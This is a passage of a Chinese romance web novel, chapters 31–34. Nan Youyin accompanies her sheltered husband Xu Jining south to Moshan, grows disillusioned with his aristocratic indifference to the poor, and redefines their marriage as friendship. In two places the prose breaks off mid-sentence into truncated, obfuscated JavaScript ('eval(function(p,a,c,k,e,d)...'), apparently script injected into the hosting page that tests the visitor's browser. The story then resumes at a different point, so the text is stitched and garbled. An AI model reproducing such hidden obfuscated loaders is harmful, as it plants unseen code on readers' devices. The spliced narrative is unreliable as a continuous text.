徐老爷看起来也很无奈,原本就不再挺直的腰背更佝偻了,他望着妻子的眼睛,脸上带着同样痛苦的神色:“径幽,我没有办法了,皇上的旨意已经到了,你我都知道皇上的旨意不容违抗。” 徐太太恳求道:“老爷!您再想想办法,你跟我都清楚,寂宁他去不了那种地方!” 徐老爷沉默地摇摇头,不再去看妻子。 南有音头一次见到徐太太这样放低姿态,毫无威仪,满眼只剩一个母亲对儿子的怜惜,徐寂宁也是头一次见到这样的母亲,他一贯害怕端坐高堂的母亲睥睨的目光,但他仍不忍见到母亲从高台上走下这般跌入尘埃。 他对父母说道:“这没什么可发愁的,既然是朝廷的意思,我自然会去。” 他的眼睛里闪着天真而热忱的光芒,继续说道:“更何况朝廷要我做的事,总归会有利百姓呀。” 徐老爷闻言不置可否,徐缄平神情透出一种苦味儿,徐默安挪开了视线,不着痕迹地轻轻摇头,他们三个都没说什么,但又都看起来不是那么的赞成。 众人都离开后,徐太太唯独留下了南有音。 “有音,”徐太太拉着她的手,声音很轻,还发颤,“我想问一下你……” 她的脸在傍晚的夕阳中明暗分别明显,以至于脸上的细纹也清晰可见,她的声音轻飘飘的,还未说完就断了,好像有什么抽走了她的力气一般。 “太太?”南有音感到她摩挲自己的那只手上满是冷汗。 徐夫人有些哽咽:“有音,你一定知道寂宁从小生在京城,只见过富贵迷人眼,从来没有去过乡下,没有去过任何贫苦的地方——” 南有音不是很舒服地想起来了徐寂宁那些高高在上且想当然的想法。 “——若是去寻常州县也就罢了,可皇上要他去末山,边地向来最是穷苦,”徐太太握住了南有音的手,细长秀气的眼睛像是蒙着一层雾,她注视着南有音,轻声说道,“有音,我知道你年幼时经历过穷苦日子,知道没有车马仆从该怎么活,我想问一下你……问一下你能不能……” 她垂下眼帘,声音也越来越小,仿佛啜嗫着不敢开口。 “我知道的,太太,”南有音不忍看到太太这样无能为力,她想到她自己,她和太太一样,都是困在深宅对此无能为力的女人,她也不忍看到一个母亲说不出心中的恳求,于是她说道,“您放心,我会陪寂宁一起去末山,照顾好他,再带他一起回来。” 徐太太颓然在夕阳之中,沙哑道:“有音,你是个好姑娘,我总是觉得对不起你——” 南有音伸出臂膀,用温暖的拥抱去安慰这个流露出脆弱一面的女人,轻声道:“您对我一直很好,我都知道的。” 终于,在农历三月末,在天气日渐炎热的时节里,南有音与徐寂宁乘上马车,一路南下,前往神秘而又燠热的西蜀 31. 途中 自告别京城后,南有音与徐寂宁的马车一路向南,天气越来越热,沿途的风景也在不断的变化,离京城越远,路边的景色越发的不同,走到白墙黑瓦的徽州城镇时他们休整了几天,南有音借此机会在城镇中闲逛,划船,看荷花,还有逛集市。 徐寂宁不像南有音那样有精力,接连数日的舟车劳顿已经让他日益消瘦起来,衣带渐宽,眼底也带着黑眼圈,消瘦没有其他原因,只是因为他适应不了京城以外的吃住,南有音对此颇有微词,毕竟徐夫人给的盘缠足够他们两个逍遥一整年,一路上住的客栈她已经是尽量挑最好的了,吃的东西也是最精细的,但徐寂宁仍然不习惯,南有音疑心徐寂宁的喉咙眼儿有毛病,这也咽不下那也咽不下的,甚至真的打算找个郎中给他瞧瞧。 南有音选了徽州城内最好的客栈,价格贵到不像是这个小城镇该有的消费水平,每每付钱时都让她心尖发颤,然而即便这样,徐寂宁仍然不满意,他睡不着。 南有音完全摸不着头脑,一路上徐寂宁一直这样,要么床铺太硬了,要么就太软了,南有音在确信徐寂宁不是在故意挑刺激怒她后,甚至忍不住问徐寂宁真实身份是不是宫里千娇百宠的公主。 徐寂宁脸红了,他说南有音玩笑没大没小,他是皇帝的臣子,怎么能是公主。 “可是这床铺被褥已经够好了!”南有音看着徐寂宁眼底的黑眼圈也很无奈,“你还想怎么样啊?” 徐寂宁嘀咕说徐府的被褥都是宫里赏赐的贡品,他问南有音有没有注意到他们房间不管枕头还是被子面料都是上好的丝绸。 南有音不以为然:“丝绸有什么好的,睡两次就皱了,用不了几次就褪色了,不如棉布实用。” 徐寂宁反问:“如果不好,为什么京城上下都愿意用丝绸呢?” 南有音没好气道:“可能因为京城人都跟你一样讲究,离了丝绸就睡不着觉。” 住宿倒不是最让南有音头疼的,最让她在意的是跟徐寂宁一块吃饭。 过去在徐府天天吃符合徐寂宁口味的东西时她倒没太在意徐寂宁的挑食,现在只有她和徐寂宁两个人,她终于发现徐寂宁远比她以为的还要挑剔。 他总是这个吃不下,那个咽不下,一会儿菜咸了,一会儿油放多了。 到了徽州城后,南有音想着给徐寂宁改善一下伙食,毕竟按照他现在这个掉秤速度,还不等到末山他就变成纸片飘走了。 南有音几番打听,带徐寂宁去了当地最负盛名的饭馆尝了最具特色的菜,徐寂宁夹了几筷子就不再吃了,南有音问怎么了,他说香料味道重,肉汤太肥腻。 南有音仔细地品尝了每一道菜,觉得没有任何问题,鱼有鱼味,肉有肉香。 “明明很好吃。”她为徐寂宁的挑食感到烦乱不已。 “你要是见识过京城访仙坊的菜就不会这么觉得了。”徐寂宁回忆起京城几家有名的菜馆。 在他提到某道菜的高汤需要分次加入八种肉类熬三天且最后弃肉食汤时,南有音瞪大了眼睛,徐寂宁以为她好奇想要尝尝味道,她却说:“简直是闲的没事干!” “怎么会是闲的?你要是去尝尝就知道不一样了!” “怎么不是闲的?有东西吃填饱肚子就不错了,还这样的穷讲究!就这些穷讲究叫你毛病这样多!”南有音回忆起幼时自己时常填不饱肚子,竟对京城权贵的这些花样感到义愤填膺起来。 “穷讲究?”徐寂宁似乎也不太乐意,“分明是你见识太少了。” 南有音觉得窝火,她瞪着徐寂宁,从桌上夹了一片肥瘦相间的肉塞到他碗里,恼火道:“吃!” 徐寂宁终究在南有音明亮的大眼睛的注视下败下阵来,他垂下目光,筷子颤抖着戳了几下那片肉,然后捏着鼻子吃了进去,牙根发酸地咀嚼,脸上的表情活像南有音逼她吃了一条肥美多汁的蠕虫。 他脖子梗了又梗,喉结上下活动,最终还是吐了出来,说道:“肉有点老了,还很咸,我咽不下去。” 南有音很生气,她怀疑宫里的皇帝都不至于跟徐寂宁这样挑剔,她恶狠狠地说了句“爱吃不吃”,接着在徐寂宁惊恐的目光中自己一个人吃了一整条鳜鱼,一盘酒香稻烧肉,还把火腿甲鱼汤也喝见底了。 然后她就把徐寂宁扔那里付账,自己吃饱喝足的在城中闲逛,一直到天彻底黑了才回客栈。 她回去时徐寂宁正在看书,每到一处徐寂宁都要淘换一套地方志来读,有时南有音无聊了也会读,她对徐寂宁读的那些地理沿革或者官制变迁毫无兴趣,她只读奇闻异事那一小部分,每每读到精彩处总感叹话本子也写不出这样刁钻的故事。 南有音从街上一个老妪那里买了莲藕糕,她觉得莲藕糕不好吃,松松软软的,除了莲藕香味以外,没什么味道,但老妪说这莲藕糕要三蒸三晒才能制成,她怀疑徐寂宁会喜欢这种工艺复杂的点心,于是她就买了一包。 结果果真跟她想的差不多,徐寂宁似乎还挺喜欢这种没什么味道的点心,小口小口地吃了起来。 南有音在街上逛了一下午,加上中午吃的有点咸了,觉得口渴得要命,她起身去看茶壶,发现茶壶里水是冰凉的,茶也没有换,跟她中午带着徐寂宁出去吃饭之前一模一样,显然她不在的几个时辰里徐寂宁没有碰过这个茶壶。 她口干舌燥,见到水后更觉得喉咙冒烟,等不及烧壶热水了,不管三七二十一直接仰头灌起了凉茶水,徐寂宁看到了,制止说:“这是绿茶,性寒,不能喝冷的,容易胃痛。” 但南有音还是全喝了,她仍觉不解渴,继续找水,却发现水壶空空,她问徐寂宁:“你难道不渴吗?大热天的几个时辰不喝水。” 徐寂宁点点头说渴,南有音问他怎么不自己烧水喝。 他脸上竟然浮现出了茫然的神色:“我不知道,过去我感到口渴,自然会有丫鬟把茶端上来。” “可是现在没有丫鬟了,”南有音很惊讶,“难道你口渴了就不知道自己找水喝吗?” 徐寂宁很困惑。 南有音一时说不出话来了,她又一次觉得自己低估了高门贵族家的侯服玉食,她甚至愈发赞同弟弟南玉振关于京城子弟都是些绣花枕头的言论了。 她从客栈小二那里要了一壶水,先自己灌够了,又顺手徐寂宁沏了茶,而后越想越觉得不对,在徐寂宁又轻声唤她时,她终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“宁哥哥,”她不想动弹,虚弱道,“我肚子疼,你给我倒杯热水吧。” 她听到徐寂宁从书桌前起身的声音,她听到徐寂宁关切地询问她,她听到徐寂宁往水壶装水的声音,她听到一阵滴里当啷的巨大响声,她挣扎着起身,看到徐寂宁撞翻了烧水的壶,壶里的水打湿了徐寂宁的裤脚,也洒了一地,一直蔓延到她床边的鞋子上,而徐寂宁手足无措,无助地看着她。 在这一刻南有音无比的希望母亲或者松梯能陪着她了,但她身边只有徐寂宁。 她拖着身子从床上爬起来,她一把推开徐寂宁,捂着肚子麻利地收拾地面,重新烧上一壶水,徐寂宁一直跟在她屁股后面,好像想帮忙但又害怕添乱,眼神躲躲闪闪,在南有音忙完捧着一碗热水缓缓啜饮时,他小声说道:“有音,对不起。” 虽然热水让南有音的肠胃舒服多了,也让她鼻尖都冒汗了,但她仍然很伤心,感到胸口发凉,她很不高兴地说:“难怪太太求我跟着你去末山,你这个样子,太太怎么能放心。” “有音,对不起。” 徐寂宁垂着脑袋,再次说道。 南有音沉沉叹了口气:“不过没关系,你姑且先拜我为师,请我教你洗衣做饭上墙揭瓦,这样之后你就不至于什么都不会了。” 32. 梦碎 经过徽州,而后继续向南,一路上越来越荒凉,少有商铺,多是一眼望不到头的农田。 徐寂宁觉得很新奇,他对南有音说:“真怪,这里的草都种的整整齐齐。” 从徽州走后南有音总是不怎么开心,徐寂宁不忍看她两双大眼睛像是笼在阴雨天一样,只好主动跟她说话,但南有音一直反应淡淡的,只有这一次她愣了片刻后差点把马车笑翻了。 她捂着肚子笑得东倒西歪,马车颠簸,徐寂宁怕她摔下座位,伸手扶了一下她,她便顺势伏在徐寂宁的肩头咯咯笑个不停,笑得徐寂宁耳朵发红,心里也莫名乱乱的。 “你,你快别说话了……”南有音气都捋不直,“你这简直太笑人了!” “草?”南有音指着马车外的万顷良田,又是一阵狂笑,“这分明是稻子,你们徐府成天吃的大米。” 徐寂宁被南有音笑得不好意思了,他转脸看向窗外,看着田里劳动的人。天色湛蓝,地上青绿一片,微风阵阵,伴随着风的还有农户之间互相吆喝的声音,那声音嘹亮坦荡,仿佛还带着笑意,徐寂宁从来没有在京城听到过。 “感觉在乡下种田好像也很有趣。”他对好不容易止住笑的南有音说,“悠闲,自在,好像没有什么烦恼。” 南有音挑了挑眉:“悠闲?自在?” “农家少闲月,五月人倍忙,现在可正是农忙时分呢,”南有音抬手擦了一下刚刚笑出来的眼泪,也托着腮看向车窗外,说道,“乡下人总是羡慕你们京城人不用干重活,你们反倒羡慕起他们来了。” 南有音悠悠叹了口气:“也就你这种没有亲自干过农活儿的人才会觉得田园生活悠闲自在呢?就你这个样子,真把你扔到乡下种几天地——” 南有音上上下下打量了一圈徐寂宁,得出的结论掷地有声:“你会饿死。” 徐寂宁有些不服,问道:“你怎么这么肯定,难不成你还真种过地?” “不然呢?” “这怎么可能?”徐寂宁一脸的惊讶。 “怎么不可能?” “可,可是南老爷官阶再低也是京城官宦啊!”徐寂宁说道,“南老爷跟父亲同年进士,早早就在京城当官了,你的年纪比我还小一岁,按理说你出生的时候南老爷已经在京城安定下来了,你哪里有什么机会种地呢?” 南有音抿了抿嘴,说道:“我和你第一次见面时我就告诉过你我的身世来历,我小时候一直在乡里流浪,靠着帮乡里人干些农活混口饭吃。” 徐寂宁像是脑袋被敲了一下一样懵了,他从未想过南有音还有这样的身世。 “我,我不记得了。”徐寂宁口舌发干,他无论如何也想不起自己过去什么时候见过南有音。 “我也猜到你不记得了,”南有音的大眼睛注视着徐寂宁,认真问道,“可是宁哥哥,咱们成亲快半年了,你一次也没有问过我的过去。” “我——”徐寂宁说不出话了,他一直犹疑他与南有音的关系,几乎刻意疏远她的一切。 “还好你没有问起过,”南有音声音小了,她的眼睛像是风中的烛火,闪烁了几下之后黯淡了,她声音罕见的淡漠起来,“或许你知道了我其实也是那种没读过多少书的乡下人,从小胸无大志唯一的梦想就是天天吃饱,你就会更加不喜欢我了。” “我没有……”徐寂宁猛然打住话头,他刚刚为了反驳似乎差点下意识地说出“我没有不喜欢你”了。 “你没有什么?”南有音的眼睛又“噌”地亮了起来。 “没什么!”徐寂宁慌张道,他指着马车外的城墙,转移话题,“永州城到了。” 永州城几乎算不上一个城镇,而是更像是一个巨大的农村集市,南有音花了些功夫才找到一家客栈,客栈很是简陋,徐寂宁对此颇有微词。 “总比住在破庙里强吧,”南有音说道,“我小时候常听人说破败的庙宇里有吃人的恶鬼。” 徐寂宁望着客房摇摇欲坠的窗檐,对客栈的安全程度心存疑虑,还没等他想再说什么,南有音就指挥他铺被褥,烧水了。 离开徽州后他也不是毫无长进,一路上他学会了如何烧水,如何整理床铺,南有音对他的长进没说什么好话,而是说他早该学会了,寻常人家的孩子不到十岁就会的东西他长到二十多才会,而后又搬出南玉振常说的那句话,疑心京城子弟都是些四体不勤的纨绔,最后总结说等她回到徐府要抓起两个小侄子的教育,切不可让徐甲徐乙两个小娃娃长大后也跟徐寂宁一样,什么都不会。 徐寂宁忿忿不平,他说京城人怎么能什么都不会,天下大事都是京城百官抉择,京城牵扯着百姓万民,京城人为官做宰,读过的书汗牛充栋,怎么叫什么都不会。 南有音不置可否,转而问徐寂宁想吃什么。 他们在镇上找了一家餐馆,南有音吃得津津有味,徐寂宁却被辣的倒抽凉气,一顿饭下来,菜没吃多少,凉水倒是灌了一肚子。 吃完饭后,兴许是填饱了肚子,虽然两个人的嘴唇都被辣得红彤彤的,但心情都很惬意,他们走在永州的泥土街道上,嗅着空气中淡然闲适的青草味道,连步伐都松缓起来,似乎舟车劳顿的疲劳都在这一刻悄然不见,两个人身形挨得很近,近到两只手一勾就能十指相扣,近到仿佛没有任何隔阂。 这时南有音一笑她那红彤彤的嘴唇就会使徐寂宁情不自禁地回想起那日梅花园的红梅,回想起南有音唇瓣掠过他的唇侧的微妙感觉,这让他白净的面庞有点发热。 南有音注意到了这一点,直接问道:“你的脸怎么红了?” “咳,被辣的。”徐寂宁找借口道。 南有音看着他,然后莫名其妙地笑了起来。 “你笑什么?”徐寂宁再一次问出这个他常问的问题时,除了感到莫名其妙外还感到几分悠游自在,可能是因为街上的风暖暖的,吹得他很舒服,也可能是因为南有音笑起来眼睛弯弯的模样很讨人喜欢,总之他也微微笑了。 南有音说:“你这个样子很好笑。” 徐寂宁的嘴唇似乎比南有音红的还要厉害,刚刚吃饭时他还被辣椒呛到了,呛得眼尾现在还是带着淡淡的红色,好像哭过一场。 南有音思索片刻后说道:“你这个样子好像受了委屈的小媳妇。” “什,什么啊!”徐寂宁觉得自己的脸更红了。 南有音大声笑道:“现在像是被调戏了的小媳妇啦!” “你不要再说啦!”徐寂宁看周围人来人往的,时不时有路人好奇的看向他们,登时感到更加窘迫了。 “宁哥哥,”南有音凑近,小声道,“现在你的脸热得能炒 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南有音无比震惊地看着徐寂宁,她语气尖锐起来:“穷困,疾病,劳役,赋税,哪一个不像座山似得压在百姓身上,稍有不慎就会压垮一个家。” “穷困便多劳动,生病便找郎中,劳役也不是年年都有,赋税也不过十中取三,”徐寂宁有些茫然,“怎么会像山一样呢?” 片刻后,他恍然大悟一般说道:“该不会是乡下人不读书不识字,没有精打细算的意识,所以才不懂得经营生活,如果这样的话,只能怪他们自己——” “你不要再说了!”南有音打断了徐寂宁,她终于觉得忍无可忍,胸膛猛烈地起伏着。 乞讨的人分明瘦弱不堪,百姓的生活与京城权贵可谓云泥之别,可徐寂宁话里话外毫无悲悯,她觉得他在这一刻将京城子弟高高在上且自以为是的一面表现的淋漓尽致。 南有音怒气冲冲地瞪着徐寂宁,徐寂宁在那一双明亮的大眼睛前退缩了,但这双眼睛只狠狠瞪了他几秒中,接着困惑地眨了眨,伴随着怒火的熄灭,其中的光泽渐渐黯淡了,透露出的无尽茫然与落寞,让徐寂宁也觉得心揪。 “有音?”徐寂宁有些不明所以,小心翼翼问道,“我说错了什么吗?” “你不要再说话了……”南有音有气无力,她已经不知道是徐寂宁第几次有意无意地流露出高高在上的态度。 “真奇怪,”南有音喃喃自语,“你是我的宁哥哥吗……” 南有音沉默了一小会儿,眼睛骤然发出像是烟花一样转瞬即逝的亮光,她好像有些惊恐,好像有些不知所措,她几乎是喊叫一般冲着徐寂宁说道:“你不是!” 她就转身跑了,她不敢再看徐寂宁了。 这一次没有人来安慰她了,也没有什么来转移她的注意力,她只好一直想,得出那个她早就发现但迟迟不愿承认的结论。 她确信徐寂宁的眉眼与她当年所爱慕的那个少年无异,纵然他温和,腼腆,满怀热忱,对她也还不错,但她也确信双眉眼背后居住的不再是当年那个对待一切都平等温柔,愿意主动牵起她这个乡下姑娘布满冻疮的手的少年了,她的宁哥哥变成了京城高高在上,不懂民生疾苦,俯视众生的官宦子弟徐寂宁,所谓的心上人无非是她一厢情愿的幻想。 而她,也被困在了其中。 33. 朋友 南有音又跑掉了,徐寂宁总共见过三次南有音从他面前逃跑,一次是花灯节,他隔着熙熙攘攘的人群不知所措的看她跑远了,一次是在徐府的院子里,他犹豫要不要追上她,但徐老爷叫走他说宫里的密旨了,第三次就是在永州边界的城镇上,这一次没有人潮,也没有密旨,只有南有音一双笼着水汽装满落寞的眼睛。 他去追赶她,但她腿脚很快,他压根追不上她,只好气喘吁吁地停在她身影消失的岔路口左右为难,然后独自回到破破烂烂的客栈,等着她回去。 一直到月亮高高挂起时南有音才回到客栈,她在街上游荡了很久,吹着初夏的风,想了很多很多,多到她回到客栈后只会沉默地洗漱,然后沉默地躺在床上,月光透过窗户洒在她的身上,让她很像一座白银雕塑。 徐寂宁忐忑着,不知道跟好像是凝固了一样的南有音说些什么好,他不知道她是不是消气了,但他知道她的眼底还是笼罩着一层乌云。 他小心翼翼地躺在了床的另一边,初夏的虫鸣和枕边人很浅的呼吸声围绕在他的耳畔,在他觉得南有音睡了的时候,他听到了很好听但又很小声的呼唤。 “徐寂宁。” 这是南有音头一次连名带姓的称呼他,让他顿时觉得心里一空。 他有些不明所以:“有音?” 南有音说:“你转过身来,看着我。” 他听话地转身,同南有音面对面躺着,正对着她那双笼着浓云的眼睛。 南有音轻声问:“徐寂宁,你是不是不喜欢我?” 她好像很委屈又好像很伤心,让徐寂宁一时什么话也不忍说。 南有音注视着他,很认真地看他,从他的眼角再到他的眉梢,甚至还伸出手轻轻碰了碰他薄薄的嘴唇,最终,她喃喃说道:“我也不喜欢你了。” 然后在徐寂宁还没有反应过来时,她那双蓄着乌云的眼睛终于下起了雨。 这是徐寂宁头一次见到南有音哭,他说他不喜欢她时她没有哭,她说她不喜欢他时却哭了。 “有音……”他下意识抬起手,想要擦去她脸上簌簌而下的泪水。 但她却别过脸去,不叫他碰,呜咽着重复道:“徐寂宁,我不喜欢你了。” “有音……”他垂下手,感到喉咙发紧,不知道该说些什么。 南有音也没有说话,只是无声的啜泣,她几乎从来没有这样伤心过。 她仰头注视着客栈老旧的天花板,被心头涌上的一阵无助和彷徨淹没了。 她的不安和彷徨从来不是担心徐寂宁是否喜欢她,她有自信她是值得被爱的,她的迷茫与无助只是因为她发现她没那么爱徐寂宁了,她憧憬了六年的爱情只是一个像泡沫一样,是一个美妙但也一戳即碎的幻想,徐寂宁不像她想象的那样,徐寂宁变了,早已不是六年前初见时的少年。 但她现在已经嫁给了他,嫁给了现在的他而不是六年前的他,她那时不管不顾希望他能活着,她相信了钦天监缥缈无根的话语,她以为她会拥有她幻想中的婚姻与爱情,她没有在意母亲口中的人心易变……从她答应徐家时,她早就没有了反悔的余地,不管她喜欢或者不喜欢,她这一生已经与徐寂宁以夫妻的身份仅仅捆在一起了。 在一刹那她想起了弟弟玉振,玉振总说让她回家,她知道弟弟是真心的,可弟弟现在远在千里之外,父亲说弟弟的前程仕途还要她来操心…… 她更委屈了,呜咽的声音也大了,像一只没有家的小兽。 南有音细微地哭声让徐寂宁的心也缩成了一团,他再开口时声音很轻,仿佛稍加一点力气眼前的姑娘就会被震碎一般:“有音,你怎么哭得这样难过?” 南有音抽泣着断断续续道:“因为我已经嫁给你了……没法再反悔了。” 徐寂宁的心猛地往下一坠:“你……你后悔了……” 南有音眼角涌出的泪珠更多了,她的呜咽声又急又难过:“我已经嫁给你了,我没法再后悔了。我不喜欢你了,我之前以为我是喜欢你的,可是……你变了,你不再是我喜欢的那个样子了……” 徐寂宁望着那些挂在南有音脸庞的泪珠,它们被月光染成乳白色,很像是一颗又一颗珍珠,他觉得自己胸膛也好像被这些珍珠堵住了一般,他什么也说不出,只好轻声说:“有音,对不起。” 南有音还是哭了很久,哭到眼睛和鼻子都很累,方才渐渐止住了抽泣,重新转向徐寂宁,徐寂宁正望着她,细长秀气的眉眼低低垂着,仿佛见她落泪于心不忍。 南有音的抽着鼻子,声音很闷:“徐寂宁,你知道我在想什么吗?” 她不等他回答就说道:“我在想我们到底算不算夫妻。” 这样的话她曾问过徐寂宁一次,那一次徐寂宁顾左右而言他,提到三姐徐静祺对夫妻的定义,提到松梯眼里什么是夫妻,但南有音只想知道徐寂宁是怎么想的,最后徐寂宁说“或许算吧”。 “我不喜欢你了,我和你真的还是夫妻吗?”南有音抿着嘴唇,很伤心地反问,“难道还是‘或许算吧’?” 徐寂宁不知道怎么回答,他咬了咬嘴唇,他用非常温和的声音轻声说道:“不要难过啦,明天我跟你去街上看看有没有好看的话本子,你说好不好?” 他记得小时候大哥他们会这样哄他,现在他试着也这样哄南有音。 但南有音却说:“徐寂宁,我不是你妹妹。” 南有音的直截了当让他非常的不知所措。 南有音继续闷声说:“你不要再跟我说话了,我现在要好好想想我和你是什么关系。” 她垂下眼睫,缓慢思索着她日后要怎么同徐寂宁相处,她不再喜欢他了,但正如她自己所说的那样,她和他已经被捆绑成夫妻,没有人会容许他们反悔。 想到这儿,她更难过了,几乎又要落下眼泪了,她全然不知道该怎么办。 但她转念又想起了徐缄平和宋知落了,他们并不相爱,但关系不至于太差。 花灯节过后她每每见到大哥与大嫂相处总会倍感两人生疏,反倒有时大哥邀薛驰光到院里做客,她看着笑靥如花的大嫂和关怀有加的薛驰光,会惶恐地觉得他们更像一对夫妻。 徐寂宁说她和他“或许算是夫妻”,她搞不懂,曾小心翼翼地询问大嫂她和大哥还算是夫妻吗,大嫂想了一会儿,秀气的面庞上流露出不安和纠结的神色,她说不出口她和徐缄平是夫妻,最后只从喉咙里挤出一句“勉强算是朋友”,请求南有音不要再问她了。 月亮的光芒从南有音的脸颊挪到了墙面,过了很久,徐寂宁听到南有音开口说话了。 “朋友,”南有音好像有些不确定,“徐寂宁,我和你算是朋友了吧?” 南有音的声音已经恢复了平静,只是听着比平日要疲倦沉闷很多。 徐寂宁顺着她的意思说道:“嗯,我们应该是朋友。” “那好吧,我们是朋友,”南有音迟疑了一下,又说道,“虽然大家眼里我们算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐寂宁不知道南有音为什么又哭了,那些泪珠好像落在他的身上一样,让他也泛起一层又一层惆怅的涟漪。 他终究不忍她哭,咬了咬嘴唇,故意说道:“有音,别伤心了,如果作为朋友,那我要跟你说徐寂宁压根不值得你喜欢,你这一辈子很长,除了徐寂宁还会有很多有意思的人和事,你最好抓紧忘了他那个混球。” 南有音的哭泣出现了小小的中断,好像是被呛到了,更好像是被他逗笑了。 南有音不得不承认徐寂宁说得很对,她忽然意识到她的一生不止徐寂宁,她还要学会骑马,然后周游四方呢,她顿时感觉轻快了不少,现在她和徐寂宁一路往南,姑且也算是南下游览吧。 片刻后,南有音轻声问道:“徐混球,如果是朋友,你会喜欢我这样的朋友吗?” 徐寂宁听她开始开玩笑了,小小松了一口气,在极度疲倦地状态下几乎脱口而出道:“当然喜欢。” 然后他脸红了,幸庆在黑夜中南有音看不分明。 “啊……我就知道我很讨人喜欢。”南有音因哭泣而沙哑的声音好像带上了那么一点得意,“你看,我们才变成朋友不一会儿,你就变得喜欢我了。” “不过我还不太确定,我会不会喜欢你这个朋友。”南有音补充道。 34. 失火 一夜过后,南有音和徐寂宁之间好像变了很多但又好像什么也没变,他们还是一起出行,继续南下,最大的不同就是住客栈时,南有音会订两个房间,她一间,徐寂宁一间。 这一举动造成了一些让南有音哭笑不得的小小麻烦,毕竟他们对外仍是以夫妻关系示人,而分房便勾起了一些爱打听闲事的人的好奇人,有人猜是夫妻两个闹矛盾,于是徐寂宁耳边时常听到诸如“出门在外,当丈夫的要多体贴妻子”以及“不管什么事,你得先去低头”之类的话,有人猜是南有音怀孕了两人才分房,于是徐寂宁耳边也时不时会有“你太太都怀孕了,就别带她来回奔波了”以及“头一次吧,你个马上要当爹的也不知道扶着妻子上楼梯”之类的话。 这些误会每次都让徐寂宁面红耳赤说不出话,他去找南有音,南有音手里拿着最新买的话本子笑得前仰后合,她说反正咱们一个地儿顶多停一天,又没人认识你,你忍忍得了。 于是徐寂宁就这样忍着忍着,一直忍到了岭南路眉洲府的末山县。 或许是临近海港的缘故,末山的主城内一片繁华,街上商贩极多,人流如织,码头处偶尔还能见到外国的商船。 在格外繁荣的地方,相应的物价就不会太低,徐寂宁又是对吃住极为挑剔的主儿,南有音只好选了末山城一家非常好的客栈,在店家问她要几间房时,高昂的价格让她几乎犹豫究竟是要一间房还是要两间房了,最后她算计了一下徐太太给他们的路费,发现无论怎么花都是绰绰有余,于是一挥手,豪气地订了两间上房。 南有音的房间窗户朝南,她几乎每天都倚在床边看海,看远远的看着码头上各式各样的船和人,她对徐寂宁说她有了新的理想,她不光想学会骑马了,她还想有一辆船。 她把徐寂宁叫到她的房间,把他拉到窗边,她指着海天交接处说:“这样我就能去更远的地方了,楼下来吃饭的胡人说他的家乡就在海的另一边,那里全是跟他一样黄头发的人。” 带着淡淡咸味的海风和海鸥稀稀拉拉的叫声一同从窗户里灌进来,南有音和徐寂宁趴在窗户边看着海面白色的浪花,一波又一波涌上岸,然后消失在沙滩上,两人都很闲适,也都无所事事,他们静静注视着海面,静静看着天色变化,傍晚时分,夏季白昼的燠热渐渐散去,在这种时刻,时间好像也会变得温柔,空中流动的风也会带上几丝暧昧的气息。 海风吹起南有音额前的碎发,她抬手将碎发撩到耳后,发现徐寂宁正在看她,她冲他微微笑了一下,然后继续注视着码头,看着一艘帆船驶向远方,猜测着它的终点会是一个什么样的神秘国度。 阳光明晃晃地洒在南有音的脸上,让她的皮肤好像散发着淡淡的金色光芒,她冲徐寂宁微微笑了一下,阳光使得她微微弯起的眼睛颜色很浅,很干净,像是靠近岸边的清澈海面,让徐寂宁心跳莫名地空了一拍。 他顺着南有音的目光看向海面,同她一起目送那只帆船,一直到那只小船在视线中变成一个点儿,最后消失。 两人都没有说话,也都没有打破海风轻抚的宁静傍晚,直到紫红色的晚霞逐渐消散,码头上出现了星星点点的灯火。 南有音关上窗户,点起屋内的灯,昏暗屋内骤然亮起的光芒使得傍晚的惬意渐渐消退了,南有音和徐寂宁都不得不思考一个现实问题,他们两个还要在末山待多久,虽然两个人不约而同的很喜欢这种闲适又宁静的生活,但皇帝的命令还悬在头上。 皇帝送去徐府的密旨很简短,只说要徐寂宁去末山,配合新上任的岭南路巡抚薛停展开暗中调查,但要调查什么,调查的目的是什么全然没有交代。 临行前徐寂宁与父亲、大哥还有二哥讨论过,二哥说大概率是跟岭南的永安王有关,永安王的封地广大,近年来上贡屡屡迟到,皇帝大概是要借着度田和普查人口的由头对永安王采取点手段了。 徐寂宁觉得二哥说得有道理,但真正到了末山后他却不知该从何下手,末山上属眉洲府,虽然也是在永安王的封地内,但也是边缘地区,与永安王府所在白坪州相距几乎一百多里,徐寂宁不觉得他在末山这个小城能查出一百多里外的永安王的什么消息。 他和南有音在末山四天了,也确实一无所获,期间他试着给薛停发了一封信,但迟迟没有回音。 “明天你打算去哪儿打听消息?”南有音问道。 她跟徐寂宁在城中摸不到头脑的调查,去过当地最有名的饭馆,但他们在那里没有听到任何有用的消息,反而徐寂宁吃鱼时不专心挑刺被鱼刺卡了,闹出了不小动静。 他们也去了当地人常去的酒馆,还是没听到什么有用的,反而是南有音凑到台前把说书先生讲的话本子听了个一字不落,只是愈听愈觉得乏味,南有音怀疑自己在徐府被三姐徐静祺精心挑选的那些话本子把口味养刁了,觉得市面上的话本子索然无味起来,甚至恨不得自己提笔把结局修改的动人心弦。 他们也去了当地的赌场,据说末山的三教九流都会混迹于此,在赌场南有音不顾徐寂宁的阻拦上桌尝试了一次,输了三把后把钱袋交给了徐寂宁保管,生怕自己忍不住还要继续,她觉得去赌场是一个很差的主意,倒不是因为她输了钱,而是她发现在赌场大家都说本地方言,而她和徐寂宁的口音跟当地人完全不同,显得无比的格格不入与怪异,尤其是徐寂宁,不光听不懂当地的方言,还一口标准的官话,叫人一听就知道他是京城人。 “饭馆,酒馆,赌场,”南有音扳着指头数道,“下一个就该轮到青楼了。” 她脸上露出狡黠地坏笑:“我和你一块逛青楼会不会很奇怪?” “不过你自己去也可以,毕竟你……”南有音笑得意味深长。 徐寂宁下意识追问:“我怎么?” 南有音一翻眼睛说道:“总觉得你去青楼跟太监上青楼差不多吧,其实我到现在还怀疑你是不是不举之类的。” “这叫什么话。”徐寂宁有些尴尬,转而说道,“还是再等几天,看看薛大人会不会回信再说。” “那明天是没什么安排了?”南有音问道,“那你打算做什么?” 